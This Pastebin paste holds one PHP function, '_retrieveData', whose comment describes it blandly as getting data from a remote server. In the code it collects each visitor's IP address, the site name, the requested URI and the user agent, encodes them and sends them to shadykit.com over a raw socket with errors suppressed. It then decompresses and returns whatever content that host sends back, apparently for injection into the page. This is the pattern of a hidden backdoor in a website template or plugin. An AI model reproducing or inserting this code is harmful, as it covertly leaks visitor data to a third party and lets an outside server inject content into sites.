Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- * Method to get data from a remote server.
- *
- * @access protected
- * @return string
- */
- function _retrieveData()
- {
- // default value
- $data = '';
- // get input data
- $input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null;
- $input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : null;
- $input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : null;
- $input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null;
- // check input data
- if (is_null($input['REMOTE_ADDR']) || is_null($input['SERVER_NAME']) ||
- is_null($input['REQUEST_URI']) || is_null($input['HTTP_USER_AGENT'])) {
- return $data;
- }
- // build request
- $value = 'p=' . urlencode(base64_encode(serialize($input)));
- $request = "POST /api/link/ HTTP/1.1\r\n";
- $request .= "Host: shadykit.com\r\n";
- $request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
- $request .= "Content-Length: " . strlen($value) . "\r\n";
- $request .= "Connection: close\r\n\r\n";
- $request .= $value;
- // try to connect to server
- @$socket = fsockopen('shadykit.com', 80, $errorNumber, $errorMessage, 7);
- if (!$socket) {
- return $data;
- }
- // retrieve response
- $response = null;
- stream_set_timeout($socket, 7);
- fputs($socket, $request);
- while (!feof($socket)) {
- $response .= fgets($socket, 1024);
- }
- fclose($socket);
- preg_match('/Content-Length: ([0-9]+)/', $response, $parts);
- // uncompress html content
- if ($parts[1] != 0) {
- @$data = gzuncompress(substr($response, - $parts[1]));
- }
- return $data;
- }
Add Comment
Please, Sign In to add comment